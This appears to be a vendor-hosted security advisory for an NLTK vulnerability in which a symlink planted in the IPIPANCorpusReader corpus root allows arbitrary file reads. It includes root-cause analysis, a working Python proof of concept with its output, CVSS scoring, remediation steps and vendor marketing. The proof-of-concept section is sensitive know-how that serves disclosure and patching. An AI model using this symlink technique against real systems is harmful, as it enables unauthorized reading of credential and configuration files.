Summary
NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely
IPIPANCorpusReader (nltk/corpus/reader/ipipan.py) exposes public methods, channels(), domains(), categories(), and fileids(channels=...), that accept a caller supplied fileids list and read a file via a completely unprotected builtin open() call, with no nltk.pathsec involvement at all. A symlink placed inside the corpus root, with a name containing no separators or .., passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.
Root cause
All four methods route through _get_tag():
def _get_tag(self, f, tag):
tags = []
with open(f) as infile: # builtin open(), no pathsec involvement
header = infile.read()
...
f arrives via _list_header_files() / _list_morph_files_by(), both of which call:
f.replace("morph.xml", "header.xml")
on the result of self.abspath(...) or self.abspaths(...). FileSystemPathPointer subclasses str, so .replace() returns a plain Python string, silently discarding the PathPointer wrapper. That plain string is handed straight to builtin open().
This is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (CorpusReader.open(), NKJPCorpusReader.add_root(), and the recent FramenetCorpusReader fix): those route file access through nltk.pathsec.validate_path(), at minimum the global, non-scoped check, before opening. Here, converting the PathPointer to a plain string before calling open() skips pathsec completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered nltk.data.path root.
Plain literal ../ traversal in the fileid is still blocked by FileSystemPathPointer.join(), so this is specifically the symlink variant, not a regression of the older, simpler traversal class.
Proof of concept
Constructed the normal, documented way, fileids as a regex over file paths, so the reader auto-discovers whatever .xml files exist in its root with no special knowledge of the planted symlink.
import os
import tempfile
from nltk.corpus.reader.ipipan import IPIPANCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "ipipan")
os.makedirs(corpus_root)
with open(os.path.join(corpus_root, "real_morph.xml"), "w") as f:
f.write("<channel>legit</channel>")
secret_dir = os.path.join(root, "outside_ipipan_root")
os.makedirs(secret_dir)
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")
os.symlink(secret_path, os.path.join(corpus_root, "evil_link.xml"))
reader = IPIPANCorpusReader(corpus_root, r".*\.xml")
print("Auto-discovered fileids:", sorted(reader.fileids()))
result = reader.channels(fileids=["evil_link.xml"])
print(result)
Actual output when run against current develop:
Auto-discovered fileids: ['evil_link.xml', 'real_morph.xml']
['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']
That content was read from secret_path, a file entirely outside corpus_root. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own fileids() listing, exactly as a real file would.
Verified separately that literal ../ traversal in the fileid is still rejected (ValueError: Traversal blocked), confirming this is specifically the symlink gap, not a broader regression.
Why this is in scope
- No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (
SECURITY.mdnames "shared environments... multi-tenant pipelines" as the project's own stated threat model) plus a completely normal API call. - Core corpus-reader code, reached through plain
import nltkand documented, programmatic usage (words(),sents(),channels(), etc.), not a demo or GUI tool. - Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for
FramenetCorpusReaderandNKJPCorpusReader. - Not a bypass of a claimed fix.
ipipan.pyhas never had security hardening applied, and has no dedicated test coverage at all.
CVSS v3.1
- AV:L, AC:L: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.
- PR:L: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.
- UI:N: fires during routine, automated corpus processing, no separate victim action.
- S:U: stays within the same process's existing privileges.
- C:H, I:N, A:N: arbitrary file read only, no write, no crash.
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-62383 has a CVSS score of 5.5 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.10.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Route _get_tag() through nltk.pathsec.validate_path() with the corpus root as required_root, or through CorpusReader.open(), instead of converting the PathPointer to a plain string and calling builtin open() directly. The same fix pattern already applied to FramenetCorpusReader and NKJPCorpusReader applies directly here.
Frequently Asked Questions
- What is CVE-2026-62383? CVE-2026-62383 is a medium-severity path traversal vulnerability in nltk (pip), affecting versions >= 3.10.0, < 3.10.2. It is fixed in 3.10.2. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-62383? CVE-2026-62383 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of nltk are affected by CVE-2026-62383? nltk (pip) versions >= 3.10.0, < 3.10.2 is affected.
- Is there a fix for CVE-2026-62383? Yes. CVE-2026-62383 is fixed in 3.10.2. Upgrade to this version or later.
- Is CVE-2026-62383 exploitable, and should I be worried? Whether CVE-2026-62383 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-62383 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-62383? Upgrade
nltkto 3.10.2 or later.